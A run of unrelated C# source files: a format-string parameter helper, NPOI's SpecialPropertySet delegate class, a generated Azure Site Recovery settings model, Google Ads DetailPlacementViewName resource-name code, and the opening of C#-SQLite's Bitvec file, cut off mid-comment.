formatIndex = FindParameterIndexOfName(method.Parameters, Format); if (formatIndex < 0 || formatIndex == method.Parameters.Length - 1) { // no valid format string return false; } if (method.Parameters[formatIndex].Type.SpecialType != SpecialType.System_String) { // no valid format string return false; } int expectedArguments = GetExpectedNumberOfArguments(method.Parameters, formatIndex); formatInfo = new Info(formatIndex, expectedArguments); return true; } private static int GetExpectedNumberOfArguments(ImmutableArray<IParameterSymbol> parameters, int formatIndex) { // check params IParameterSymbol nextParameter = parameters[formatIndex + 1]; if (nextParameter.IsParams) { return -1; } return parameters.Length - formatIndex - 1; } private static int FindParameterIndexOfName(ImmutableArray<IParameterSymbol> parameters, string name) { for (var i = 0; i < parameters.Length; i++) { if (string.Equals(parameters[i].Name, name, StringComparison.Ordinal)) { return i; } } return -1; } public class Info { public Info(int formatIndex, int expectedArguments) { FormatStringIndex = formatIndex; ExpectedStringFormatArgumentCount = expectedArguments; } public int FormatStringIndex { get; } public int ExpectedStringFormatArgumentCount { get; } } } } }
/* ==================================================================== Licensed To the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for Additional information regarding copyright ownership. The ASF licenses this file To You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed To in writing, software distributed under the License is distributed on an "AS Is" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==================================================================== */ /* ================================================================ * About NPOI * Author: Tony Qu * Author's email: tonyqus (at) gmail.com * Author's Blog: tonyqus.wordpress.com.cn (wp.tonyqus.cn) * HomePage: http://www.codeplex.com/npoi * Contributors: * * ==============================================================*/ using System.Collections.Generic; namespace NPOI.HPSF { using System; using System.IO; using NPOI.HPSF.Wellknown; using NPOI.POIFS.FileSystem; using NPOI.Util; using System.Text; /// <summary> /// Abstract superclass for the convenience classes {@link /// SummaryInformation} and {@link DocumentSummaryInformation}. /// The motivation behind this class is quite nasty if you look /// behind the scenes, but it serves the application programmer well by /// providing him with the easy-to-use {@link SummaryInformation} and /// {@link DocumentSummaryInformation} classes. When parsing the data a /// property Set stream consists of (possibly coming from an {@link /// java.io.Stream}) we want To Read and process each byte only /// once. Since we don't know in advance which kind of property Set we /// have, we can expect only the most general {@link /// PropertySet}. Creating a special subclass should be as easy as /// calling the special subclass' constructor and pass the general /// {@link PropertySet} in. To make things easy internally, the special /// class just holds a reference To the general {@link PropertySet} and /// delegates all method calls To it. /// A cleaner implementation would have been like this: The {@link /// PropertySetFactory} parses the stream data into some internal /// object first. Then it Finds out whether the stream is a {@link /// SummaryInformation}, a {@link DocumentSummaryInformation} or a /// general {@link PropertySet}. However, the current implementation /// went the other way round historically: the convenience classes came /// only late To my mind. /// @author Rainer Klute /// klute@rainer-klute.de /// @since 2002-02-09 /// </summary> [Serializable] public abstract class SpecialPropertySet : MutablePropertySet { /** * The id to name mapping of the properties * in this set. */ public abstract PropertyIDMap PropertySetIDMap{get;} /** * The "real" property Set <c>SpecialPropertySet</c> * delegates To. */ private MutablePropertySet delegate1; /// <summary> /// Initializes a new instance of the <see cref="SpecialPropertySet"/> class. /// </summary> /// <param name="ps">The property Set To be encapsulated by the <c>SpecialPropertySet</c></param> public SpecialPropertySet(PropertySet ps) { delegate1 = new MutablePropertySet(ps); } /// <summary> /// Initializes a new instance of the <see cref="SpecialPropertySet"/> class. /// </summary> /// <param name="ps">The mutable property Set To be encapsulated by the <c>SpecialPropertySet</c></param> public SpecialPropertySet(MutablePropertySet ps) { delegate1 = ps; } /// <summary> /// gets or sets the "byteOrder" property. /// </summary> /// <value>the byteOrder value To Set</value> public override int ByteOrder { get { return delegate1.ByteOrder; } set { delegate1.ByteOrder = value; } } /// <summary> /// gets or sets the "format" property /// </summary> /// <value>the format value To Set</value> public override int Format { get { return delegate1.Format; } set { delegate1.Format = value; } } /// <summary> /// gets or sets the property Set stream's low-level "class ID" /// field. /// </summary> /// <value>The property Set stream's low-level "class ID" field</value> public override ClassID ClassID { get { return delegate1.ClassID; } set { delegate1.ClassID = value; } } /// <summary> /// Returns the number of {@link Section}s in the property /// Set. /// </summary> /// <value>The number of {@link Section}s in the property Set.</value> public override int SectionCount { get { return delegate1.SectionCount; } } public override List<Section> Sections { get { return delegate1.Sections; } } /// <summary> /// Checks whether this {@link PropertySet} represents a Summary /// Information. /// </summary> /// <value> /// <c>true</c> Checks whether this {@link PropertySet} represents a Summary /// Information; otherwise, <c>false</c>. /// </value> public override bool IsSummaryInformation { get{return delegate1.IsSummaryInformation;} } public override Stream ToInputStream() { return delegate1.ToInputStream(); } /// <summary> /// Gets a value indicating whether this instance is document summary information. /// </summary> /// <value> /// <c>true</c> if this instance is document summary information; otherwise, <c>false</c>. /// </value> /// Checks whether this {@link PropertySet} is a Document /// Summary Information. /// @return /// <c>true</c> /// if this {@link PropertySet} /// represents a Document Summary Information, else /// <c>false</c> public override bool IsDocumentSummaryInformation { get{return delegate1.IsDocumentSummaryInformation;} } /// <summary> /// Gets the PropertySet's first section. /// </summary> /// <value>The {@link PropertySet}'s first section.</value> public override Section FirstSection { get { return delegate1.FirstSection; } } /// <summary> /// Adds a section To this property set. /// </summary> /// <param name="section">The {@link Section} To Add. It will be Appended /// after any sections that are alReady present in the property Set /// and thus become the last section.</param> public override void AddSection(Section section) { delegate1.AddSection(section); } /// <summary> /// Removes all sections from this property Set. /// </summary> public override void ClearSections() { delegate1.ClearSections(); } /// <summary> /// gets or sets the "osVersion" property /// </summary> /// <value> the osVersion value To Set</value> public override int OSVersion { set { delegate1.OSVersion=value; } get { return delegate1.OSVersion; } } /// <summary> /// Writes a property Set To a document in a POI filesystem directory. /// </summary> /// <param name="dir">The directory in the POI filesystem To Write the document To</param> /// <param name="name">The document's name. If there is alReady a document with the /// same name in the directory the latter will be overwritten.</param> public override void Write(DirectoryEntry dir, String name) { delegate1.Write(dir, name); } /// <summary> /// Writes the property Set To an output stream. /// </summary> /// <param name="out1">the output stream To Write the section To</param> public override void Write(Stream out1) { delegate1.Write(out1); } /// <summary> /// Returns <c>true</c> if the <c>PropertySet</c> is equal /// To the specified parameter, else <c>false</c>. /// </summary> /// <param name="o">the object To Compare this /// <c>PropertySet</c> /// with</param> /// <returns> /// <c>true</c> /// if the objects are equal, /// <c>false</c> /// if not /// </returns> public override bool Equals(Object o) { return delegate1.Equals(o); } /// <summary> /// Convenience method returning the {@link Property} array /// contained in this property Set. It is a shortcut for Getting /// the {@link PropertySet}'s {@link Section}s list and then /// Getting the {@link Property} array from the first {@link /// Section}. /// </summary> /// <value> /// The properties of the only {@link Section} of this /// {@link PropertySet}. /// </value> public override Property[] Properties { get { return delegate1.Properties; } } /// <summary> /// Convenience method returning the value of the property with /// the specified ID. If the property is not available, /// <c>null</c> is returned and a subsequent call To {@link /// #WasNull} will return <c>true</c> . /// </summary> /// <param name="id">The property ID</param> /// <returns>The property value</returns> public override Object GetProperty(int id) { return delegate1.GetProperty(id); } /// <summary> /// Convenience method returning the value of a bool property /// with the specified ID. If the property is not available, /// <c>false</c> is returned. A subsequent call To {@link /// #WasNull} will return <c>true</c> To let the caller /// distinguish that case from a real property value of /// <c>false</c>. /// </summary> /// <param name="id">The property ID</param> /// <returns>The property value</returns> public override bool GetPropertyBooleanValue(int id) { return delegate1.GetPropertyBooleanValue(id); } /// <summary> /// Convenience method returning the value of the numeric /// property with the specified ID. If the property is not /// available, 0 is returned. A subsequent call To {@link #WasNull} /// will return <c>true</c> To let the caller distinguish /// that case from a real property value of 0. /// </summary> /// <param name="id">The property ID</param> /// <returns>The propertyIntValue value</returns> public override int GetPropertyIntValue(int id) { return delegate1.GetPropertyIntValue(id); } /** * Fetches the property with the given ID, then does its * best to return it as a String * @return The property as a String, or null if unavailable */ protected String GetPropertyStringValue(int propertyId) { Object propertyValue = GetProperty(propertyId); return GetPropertyStringValue(propertyValue); } protected static String GetPropertyStringValue(Object propertyValue) { // Normal cases if (propertyValue == null) return null; if (propertyValue is String) return (String)propertyValue; // Do our best with some edge cases if (propertyValue is byte[]) { byte[] b = (byte[])propertyValue; if (b.Length == 0) { return ""; } if (b.Length == 1) { return b[0].ToString(); } if (b.Length == 2) { return LittleEndian.GetUShort(b).ToString(); } if (b.Length == 4) { return LittleEndian.GetUInt(b).ToString(); } // Maybe it's a string? who knows! return Encoding.UTF8.GetString(b); } return propertyValue.ToString(); } /// <summary> /// Serves as a hash function for a particular type. /// </summary> /// <returns> /// A hash code for the current <see cref="T:System.Object"/>. /// </returns> public override int GetHashCode() { return delegate1.GetHashCode(); } /// <summary> /// Returns a <see cref="T:System.String"/> that represents the current <see cref="T:System.Object"/>. /// </summary> /// <returns> /// A <see cref="T:System.String"/> that represents the current <see cref="T:System.Object"/>. /// </returns> public override String ToString() { return delegate1.ToString(); } /// <summary> /// Checks whether the property which the last call To {@link /// #GetPropertyIntValue} or {@link #GetProperty} tried To access /// Was available or not. This information might be important for /// callers of {@link #GetPropertyIntValue} since the latter /// returns 0 if the property does not exist. Using {@link /// #WasNull}, the caller can distiguish this case from a /// property's real value of 0. /// </summary> /// <value> /// <c>true</c> if the last call To {@link /// #GetPropertyIntValue} or {@link #GetProperty} tried To access a /// property that Was not available; otherwise, <c>false</c>. /// </value> public override bool WasNull { get { return delegate1.WasNull; } } } }
// // Copyright (c) Microsoft and contributors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // // See the License for the specific language governing permissions and // limitations under the License. // // Warning: This code was generated by a tool. // // Changes to this file may cause incorrect behavior and will be lost if the // code is regenerated. using System; using System.Collections.Generic; using System.Linq; using Hyak.Common; using Microsoft.Azure.Management.SiteRecovery.Models; namespace Microsoft.Azure.Management.SiteRecovery.Models { /// <summary> /// VMware Azure Provider specific entity details. /// </summary> public partial class VMwareAzureV2ProviderSpecificSettings : ReplicationProviderSpecificSettings { private string _agentVersion; /// <summary> /// Optional. Agent version. /// </summary> public string AgentVersion { get { return this._agentVersion; } set { this._agentVersion = value; } } private IList<AzureVmDiskDetails> _azureVMDiskDetails; /// <summary> /// Optional. Gets or sets Azure VM Disk details. /// </summary> public IList<AzureVmDiskDetails> AzureVMDiskDetails { get { return this._azureVMDiskDetails; } set { this._azureVMDiskDetails = value; } } private double _compressedDataRateInMB; /// <summary> /// Optional. Compressed data change rate in MB. /// </summary> public double CompressedDataRateInMB { get { return this._compressedDataRateInMB; } set { this._compressedDataRateInMB = value; } } private string _discoveryType; /// <summary> /// Optional. Gets or sets a value inidicating the discovery type of /// the machine.Value can be vCenter or physical. /// </summary> public string DiscoveryType { get { return this._discoveryType; } set { this._discoveryType = value; } } private string _healthErrorCode; /// <summary> /// Optional. Health error code. /// </summary> public string HealthErrorCode { get { return this._healthErrorCode; } set { this._healthErrorCode = value; } } private string _infrastructureVmId; /// <summary> /// Optional. Infrastructure VM Id. /// </summary> public string InfrastructureVmId { get { return this._infrastructureVmId; } set { this._infrastructureVmId = value; } } private string _ipAddress; /// <summary> /// Optional. Source IP address. /// </summary> public string IpAddress { get { return this._ipAddress; } set { this._ipAddress = value; } } private bool _isAgentUpdateRequired; /// <summary> /// Optional. Value indicating whether installed agent needs to be /// updated. /// </summary> public bool IsAgentUpdateRequired { get { return this._isAgentUpdateRequired; } set { this._isAgentUpdateRequired = value; } } private bool _isRebootAfterUpdateRequired; /// <summary> /// Optional. Value indicating whether the source server requires a /// restart after update. /// </summary> public bool IsRebootAfterUpdateRequired { get { return this._isRebootAfterUpdateRequired; } set { this._isRebootAfterUpdateRequired = value; } } private System.DateTime? _lastHeartbeat; /// <summary> /// Optional. Last heartbeat received from the source server. /// </summary> public System.DateTime? LastHeartbeat { get { return this._lastHeartbeat; } set { this._lastHeartbeat = value; } } private string _latestUpdateVersion; /// <summary> /// Optional. Latest update version. /// </summary> public string LatestUpdateVersion { get { return this._latestUpdateVersion; } set { this._latestUpdateVersion = value; } } private string _masterTargetId; /// <summary> /// Optional. Master target Id. /// </summary> public string MasterTargetId { get { return this._masterTargetId; } set { this._masterTargetId = value; } } private string _multiVmGroupId; /// <summary> /// Optional. Multi vm group Id. /// </summary> public string MultiVmGroupId { get { return this._multiVmGroupId; } set { this._multiVmGroupId = value; } } private string _multiVmGroupName; /// <summary> /// Optional. Multi vm group name. /// </summary> public string MultiVmGroupName { get { return this._multiVmGroupName; } set { this._multiVmGroupName = value; } } private string _oSDiskId; /// <summary> /// Optional. Id of the disk containing the OS. /// </summary> public string OSDiskId { get { return this._oSDiskId; } set { this._oSDiskId = value; } } private string _oSType; /// <summary> /// Optional. Type of the OS on the VM. /// </summary> public string OSType { get { return this._oSType; } set { this._oSType = value; } } private string _processServerId; /// <summary> /// Optional. Process server Id. /// </summary> public string ProcessServerId { get { return this._processServerId; } set { this._processServerId = value; } } private IList<VMwareAzureV2ProtectedVolumeDetails> _protectedVolumes; /// <summary> /// Optional. List of protected volumes. /// </summary> public IList<VMwareAzureV2ProtectedVolumeDetails> ProtectedVolumes { get { return this._protectedVolumes; } set { this._protectedVolumes = value; } } private string _protectionStage; /// <summary> /// Optional. Protection stage. /// </summary> public string ProtectionStage { get { return this._protectionStage; } set { this._protectionStage = value; } } private string _recoveryAzureStorageAccount; /// <summary> /// Optional. Gets or sets the recovery Azure storage account. /// </summary> public string RecoveryAzureStorageAccount { get { return this._recoveryAzureStorageAccount; } set { this._recoveryAzureStorageAccount = value; } } private string _recoveryAzureVMName; /// <summary> /// Optional. Gets or sets Recovery Azure given name. /// </summary> public string RecoveryAzureVMName { get { return this._recoveryAzureVMName; } set { this._recoveryAzureVMName = value; } } private string _recoveryAzureVMSize; /// <summary> /// Optional. Gets or sets the Recovery Azure VM size. /// </summary> public string RecoveryAzureVMSize { get { return this._recoveryAzureVMSize; } set { this._recoveryAzureVMSize = value; } } private int _resyncProgressPercentage; /// <summary> /// Optional. Resync progress percentage. /// </summary> public int ResyncProgressPercentage { get { return this._resyncProgressPercentage; } set { this._resyncProgressPercentage = value; } } private bool _resyncRequired; /// <summary> /// Optional. Value indicating whether resync is required for this VM. /// </summary> public bool ResyncRequired { get { return this._resyncRequired; } set { this._resyncRequired = value; } } private long? _rpoInSeconds; /// <summary> /// Optional. RPO in seconds. /// </summary> public long? RpoInSeconds { get { return this._rpoInSeconds; } set { this._rpoInSeconds = value; } } private string _selectedRecoveryAzureNetworkId; /// <summary> /// Optional. Gets or sets the selected recovery azure network Id. /// </summary> public string SelectedRecoveryAzureNetworkId { get { return this._selectedRecoveryAzureNetworkId; } set { this._selectedRecoveryAzureNetworkId = value; } } private int _sourceVmCPUCount; /// <summary> /// Optional. CPU count of the VM on the primary side. /// </summary> public int SourceVmCPUCount { get { return this._sourceVmCPUCount; } set { this._sourceVmCPUCount = value; } } private int _sourceVmRAMSizeInMB; /// <summary> /// Optional. RAM size of the VM on the primary side. /// </summary> public int SourceVmRAMSizeInMB { get { return this._sourceVmRAMSizeInMB; } set { this._sourceVmRAMSizeInMB = value; } } private double _uncompressedDataRateInMB; /// <summary> /// Optional. Uncompressed data change rate in MB. /// </summary> public double UncompressedDataRateInMB { get { return this._uncompressedDataRateInMB; } set { this._uncompressedDataRateInMB = value; } } private string _vCenterInfrastructureId; /// <summary> /// Optional. vCenter Infrastructure Id. /// </summary> public string VCenterInfrastructureId { get { return this._vCenterInfrastructureId; } set { this._vCenterInfrastructureId = value; } } private string _vHDName; /// <summary> /// Optional. OS disk VHD name. /// </summary> public string VHDName { get { return this._vHDName; } set { this._vHDName = value; } } private IList<VMNicDetails> _vMNics; /// <summary> /// Optional. Gets or sets the network details. /// </summary> public IList<VMNicDetails> VMNics { get { return this._vMNics; } set { this._vMNics = value; } } private bool _volumeResized; /// <summary> /// Optional. Value indicating whether any volume is resized for this /// VM. /// </summary> public bool VolumeResized { get { return this._volumeResized; } set { this._volumeResized = value; } } /// <summary> /// Initializes a new instance of the /// VMwareAzureV2ProviderSpecificSettings class. /// </summary> public VMwareAzureV2ProviderSpecificSettings() { this.AzureVMDiskDetails = new LazyList<AzureVmDiskDetails>(); this.ProtectedVolumes = new LazyList<VMwareAzureV2ProtectedVolumeDetails>(); this.VMNics = new LazyList<VMNicDetails>(); } } }
// Copyright 2022 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Generated code. DO NOT EDIT! using gax = Google.Api.Gax; using sys = System; namespace Google.Ads.GoogleAds.V10.Resources { /// <summary>Resource name for the <c>DetailPlacementView</c> resource.</summary> public sealed partial class DetailPlacementViewName : gax::IResourceName, sys::IEquatable<DetailPlacementViewName> { /// <summary>The possible contents of <see cref="DetailPlacementViewName"/>.</summary> public enum ResourceNameType { /// <summary>An unparsed resource name.</summary> Unparsed = 0, /// <summary> /// A resource name with pattern /// <c>customers/{customer_id}/detailPlacementViews/{ad_group_id}~{base64_placement}</c>. /// </summary> CustomerAdGroupBase64Placement = 1, } private static gax::PathTemplate s_customerAdGroupBase64Placement = new gax::PathTemplate("customers/{customer_id}/detailPlacementViews/{ad_group_id_base64_placement}"); /// <summary>Creates a <see cref="DetailPlacementViewName"/> containing an unparsed resource name.</summary> /// <param name="unparsedResourceName">The unparsed resource name. Must not be <c>null</c>.</param> /// <returns> /// A new instance of <see cref="DetailPlacementViewName"/> containing the provided /// <paramref name="unparsedResourceName"/>. /// </returns> public static DetailPlacementViewName FromUnparsed(gax::UnparsedResourceName unparsedResourceName) => new DetailPlacementViewName(ResourceNameType.Unparsed, gax::GaxPreconditions.CheckNotNull(unparsedResourceName, nameof(unparsedResourceName))); /// <summary> /// Creates a <see cref="DetailPlacementViewName"/> with the pattern /// <c>customers/{customer_id}/detailPlacementViews/{ad_group_id}~{base64_placement}</c>. /// </summary> /// <param name="customerId">The <c>Customer</c> ID. Must not be <c>null</c> or empty.</param> /// <param name="adGroupId">The <c>AdGroup</c> ID. Must not be <c>null</c> or empty.</param> /// <param name="base64PlacementId">The <c>Base64Placement</c> ID. Must not be <c>null</c> or empty.</param> /// <returns> /// A new instance of <see cref="DetailPlacementViewName"/> constructed from the provided ids. /// </returns> public static DetailPlacementViewName FromCustomerAdGroupBase64Placement(string customerId, string adGroupId, string base64PlacementId) => new DetailPlacementViewName(ResourceNameType.CustomerAdGroupBase64Placement, customerId: gax::GaxPreconditions.CheckNotNullOrEmpty(customerId, nameof(customerId)), adGroupId: gax::GaxPreconditions.CheckNotNullOrEmpty(adGroupId, nameof(adGroupId)), base64PlacementId: gax::GaxPreconditions.CheckNotNullOrEmpty(base64PlacementId, nameof(base64PlacementId))); /// <summary> /// Formats the IDs into the string representation of this <see cref="DetailPlacementViewName"/> with pattern /// <c>customers/{customer_id}/detailPlacementViews/{ad_group_id}~{base64_placement}</c>. /// </summary> /// <param name="customerId">The <c>Customer</c> ID. Must not be <c>null</c> or empty.</param> /// <param name="adGroupId">The <c>AdGroup</c> ID. Must not be <c>null</c> or empty.</param> /// <param name="base64PlacementId">The <c>Base64Placement</c> ID. Must not be <c>null</c> or empty.</param> /// <returns> /// The string representation of this <see cref="DetailPlacementViewName"/> with pattern /// <c>customers/{customer_id}/detailPlacementViews/{ad_group_id}~{base64_placement}</c>. /// </returns> public static string Format(string customerId, string adGroupId, string base64PlacementId) => FormatCustomerAdGroupBase64Placement(customerId, adGroupId, base64PlacementId); /// <summary> /// Formats the IDs into the string representation of this <see cref="DetailPlacementViewName"/> with pattern /// <c>customers/{customer_id}/detailPlacementViews/{ad_group_id}~{base64_placement}</c>. /// </summary> /// <param name="customerId">The <c>Customer</c> ID. Must not be <c>null</c> or empty.</param> /// <param name="adGroupId">The <c>AdGroup</c> ID. Must not be <c>null</c> or empty.</param> /// <param name="base64PlacementId">The <c>Base64Placement</c> ID. Must not be <c>null</c> or empty.</param> /// <returns> /// The string representation of this <see cref="DetailPlacementViewName"/> with pattern /// <c>customers/{customer_id}/detailPlacementViews/{ad_group_id}~{base64_placement}</c>. /// </returns> public static string FormatCustomerAdGroupBase64Placement(string customerId, string adGroupId, string base64PlacementId) => s_customerAdGroupBase64Placement.Expand(gax::GaxPreconditions.CheckNotNullOrEmpty(customerId, nameof(customerId)), $"{(gax::GaxPreconditions.CheckNotNullOrEmpty(adGroupId, nameof(adGroupId)))}~{(gax::GaxPreconditions.CheckNotNullOrEmpty(base64PlacementId, nameof(base64PlacementId)))}"); /// <summary> /// Parses the given resource name string into a new <see cref="DetailPlacementViewName"/> instance. /// </summary> /// <remarks> /// To parse successfully, the resource name must be formatted as one of the following: /// <list type="bullet"> /// <item> /// <description> /// <c>customers/{customer_id}/detailPlacementViews/{ad_group_id}~{base64_placement}</c> /// </description> /// </item> /// </list> /// </remarks> /// <param name="detailPlacementViewName">The resource name in string form. Must not be <c>null</c>.</param> /// <returns>The parsed <see cref="DetailPlacementViewName"/> if successful.</returns> public static DetailPlacementViewName Parse(string detailPlacementViewName) => Parse(detailPlacementViewName, false); /// <summary> /// Parses the given resource name string into a new <see cref="DetailPlacementViewName"/> instance; optionally /// allowing an unparseable resource name. /// </summary> /// <remarks> /// To parse successfully, the resource name must be formatted as one of the following: /// <list type="bullet"> /// <item> /// <description> /// <c>customers/{customer_id}/detailPlacementViews/{ad_group_id}~{base64_placement}</c> /// </description> /// </item> /// </list> /// Or may be in any format if <paramref name="allowUnparsed"/> is <c>true</c>. /// </remarks> /// <param name="detailPlacementViewName">The resource name in string form. Must not be <c>null</c>.</param> /// <param name="allowUnparsed"> /// If <c>true</c> will successfully store an unparseable resource name into the <see cref="UnparsedResource"/> /// property; otherwise will throw an <see cref="sys::ArgumentException"/> if an unparseable resource name is /// specified. /// </param> /// <returns>The parsed <see cref="DetailPlacementViewName"/> if successful.</returns> public static DetailPlacementViewName Parse(string detailPlacementViewName, bool allowUnparsed) => TryParse(detailPlacementViewName, allowUnparsed, out DetailPlacementViewName result) ? result : throw new sys::ArgumentException("The given resource-name matches no pattern."); /// <summary> /// Tries to parse the given resource name string into a new <see cref="DetailPlacementViewName"/> instance. /// </summary> /// <remarks> /// To parse successfully, the resource name must be formatted as one of the following: /// <list type="bullet"> /// <item> /// <description> /// <c>customers/{customer_id}/detailPlacementViews/{ad_group_id}~{base64_placement}</c> /// </description> /// </item> /// </list> /// </remarks> /// <param name="detailPlacementViewName">The resource name in string form. Must not be <c>null</c>.</param> /// <param name="result"> /// When this method returns, the parsed <see cref="DetailPlacementViewName"/>, or <c>null</c> if parsing /// failed. /// </param> /// <returns><c>true</c> if the name was parsed successfully; <c>false</c> otherwise.</returns> public static bool TryParse(string detailPlacementViewName, out DetailPlacementViewName result) => TryParse(detailPlacementViewName, false, out result); /// <summary> /// Tries to parse the given resource name string into a new <see cref="DetailPlacementViewName"/> instance; /// optionally allowing an unparseable resource name. /// </summary> /// <remarks> /// To parse successfully, the resource name must be formatted as one of the following: /// <list type="bullet"> /// <item> /// <description> /// <c>customers/{customer_id}/detailPlacementViews/{ad_group_id}~{base64_placement}</c> /// </description> /// </item> /// </list> /// Or may be in any format if <paramref name="allowUnparsed"/> is <c>true</c>. /// </remarks> /// <param name="detailPlacementViewName">The resource name in string form. Must not be <c>null</c>.</param> /// <param name="allowUnparsed"> /// If <c>true</c> will successfully store an unparseable resource name into the <see cref="UnparsedResource"/> /// property; otherwise will throw an <see cref="sys::ArgumentException"/> if an unparseable resource name is /// specified. /// </param> /// <param name="result"> /// When this method returns, the parsed <see cref="DetailPlacementViewName"/>, or <c>null</c> if parsing /// failed. /// </param> /// <returns><c>true</c> if the name was parsed successfully; <c>false</c> otherwise.</returns> public static bool TryParse(string detailPlacementViewName, bool allowUnparsed, out DetailPlacementViewName result) { gax::GaxPreconditions.CheckNotNull(detailPlacementViewName, nameof(detailPlacementViewName)); gax::TemplatedResourceName resourceName; if (s_customerAdGroupBase64Placement.TryParseName(detailPlacementViewName, out resourceName)) { string[] split1 = ParseSplitHelper(resourceName[1], new char[] { '~', }); if (split1 == null) { result = null; return false; } result = FromCustomerAdGroupBase64Placement(resourceName[0], split1[0], split1[1]); return true; } if (allowUnparsed) { if (gax::UnparsedResourceName.TryParse(detailPlacementViewName, out gax::UnparsedResourceName unparsedResourceName)) { result = FromUnparsed(unparsedResourceName); return true; } } result = null; return false; } private static string[] ParseSplitHelper(string s, char[] separators) { string[] result = new string[separators.Length + 1]; int i0 = 0; for (int i = 0; i <= separators.Length; i++) { int i1 = i < separators.Length ? s.IndexOf(separators[i], i0) : s.Length; if (i1 < 0 || i1 == i0) { return null; } result[i] = s.Substring(i0, i1 - i0); i0 = i1 + 1; } return result; } private DetailPlacementViewName(ResourceNameType type, gax::UnparsedResourceName unparsedResourceName = null, string adGroupId = null, string base64PlacementId = null, string customerId = null) { Type = type; UnparsedResource = unparsedResourceName; AdGroupId = adGroupId; Base64PlacementId = base64PlacementId; CustomerId = customerId; } /// <summary> /// Constructs a new instance of a <see cref="DetailPlacementViewName"/> class from the component parts of /// pattern <c>customers/{customer_id}/detailPlacementViews/{ad_group_id}~{base64_placement}</c> /// </summary> /// <param name="customerId">The <c>Customer</c> ID. Must not be <c>null</c> or empty.</param> /// <param name="adGroupId">The <c>AdGroup</c> ID. Must not be <c>null</c> or empty.</param> /// <param name="base64PlacementId">The <c>Base64Placement</c> ID. Must not be <c>null</c> or empty.</param> public DetailPlacementViewName(string customerId, string adGroupId, string base64PlacementId) : this(ResourceNameType.CustomerAdGroupBase64Placement, customerId: gax::GaxPreconditions.CheckNotNullOrEmpty(customerId, nameof(customerId)), adGroupId: gax::GaxPreconditions.CheckNotNullOrEmpty(adGroupId, nameof(adGroupId)), base64PlacementId: gax::GaxPreconditions.CheckNotNullOrEmpty(base64PlacementId, nameof(base64PlacementId))) { } /// <summary>The <see cref="ResourceNameType"/> of the contained resource name.</summary> public ResourceNameType Type { get; } /// <summary> /// The contained <see cref="gax::UnparsedResourceName"/>. Only non-<c>null</c> if this instance contains an /// unparsed resource name. /// </summary> public gax::UnparsedResourceName UnparsedResource { get; } /// <summary> /// The <c>AdGroup</c> ID. Will not be <c>null</c>, unless this instance contains an unparsed resource name. /// </summary> public string AdGroupId { get; } /// <summary> /// The <c>Base64Placement</c> ID. Will not be <c>null</c>, unless this instance contains an unparsed resource /// name. /// </summary> public string Base64PlacementId { get; } /// <summary> /// The <c>Customer</c> ID. Will not be <c>null</c>, unless this instance contains an unparsed resource name. /// </summary> public string CustomerId { get; } /// <summary>Whether this instance contains a resource name with a known pattern.</summary> public bool IsKnownPattern => Type != ResourceNameType.Unparsed; /// <summary>The string representation of the resource name.</summary> /// <returns>The string representation of the resource name.</returns> public override string ToString() { switch (Type) { case ResourceNameType.Unparsed: return UnparsedResource.ToString(); case ResourceNameType.CustomerAdGroupBase64Placement: return s_customerAdGroupBase64Placement.Expand(CustomerId, $"{AdGroupId}~{Base64PlacementId}"); default: throw new sys::InvalidOperationException("Unrecognized resource-type."); } } /// <summary>Returns a hash code for this resource name.</summary> public override int GetHashCode() => ToString().GetHashCode(); /// <inheritdoc/> public override bool Equals(object obj) => Equals(obj as DetailPlacementViewName); /// <inheritdoc/> public bool Equals(DetailPlacementViewName other) => ToString() == other?.ToString(); /// <inheritdoc/> public static bool operator ==(DetailPlacementViewName a, DetailPlacementViewName b) => ReferenceEquals(a, b) || (a?.Equals(b) ?? false); /// <inheritdoc/> public static bool operator !=(DetailPlacementViewName a, DetailPlacementViewName b) => !(a == b); } public partial class DetailPlacementView { /// <summary> /// <see cref="DetailPlacementViewName"/>-typed view over the <see cref="ResourceName"/> resource name property. /// </summary> internal DetailPlacementViewName ResourceNameAsDetailPlacementViewName { get => string.IsNullOrEmpty(ResourceName) ? null : DetailPlacementViewName.Parse(ResourceName, allowUnparsed: true); set => ResourceName = value?.ToString() ?? ""; } } }
using System; using System.Diagnostics; using System.Runtime.InteropServices; using Pgno = System.UInt32; using i64 = System.Int64; using u32 = System.UInt32; using BITVEC_TELEM = System.Byte; namespace Community.CsharpSqlite { public partial class Sqlite3 { /* ** 2008 February 16 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file implements an object that represents a fixed-length ** bitmap. Bits are numbered starting with 1. ** ** A bitmap is used to record which pages of a database file have been ** journalled during a transaction, or which pages have the "dont-write" ** property. Usually only a few pages are meet either condition. ** So the bitmap is usually sparse and has low cardinality. ** But sometimes (for example when during a DROP of a large table) most ** or all of the pages in a database can get journalled. In those cases, ** the bitmap becomes dense with high cardinality. The algorithm needs ** to handle both cases well. ** ** The size of the bitmap is fixed when the object is created. ** ** All bits are clear when the bitmap is created. Individual bits ** may be set or cleared one at a time. ** ** Test operations are about 100 times more common that set operations. ** Clear operations are exceedingly rare. There are usually between ** 5 and 500 set operations per Bitvec object, though the number of sets can ** sometimes grow into tens of thousands or larger. The size of the ** Bitvec object is the number of pages in the database file at the ** start of a transaction, and is thus usually less than a few thousand, ** but can be as large as 2 billion for a really big database. ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 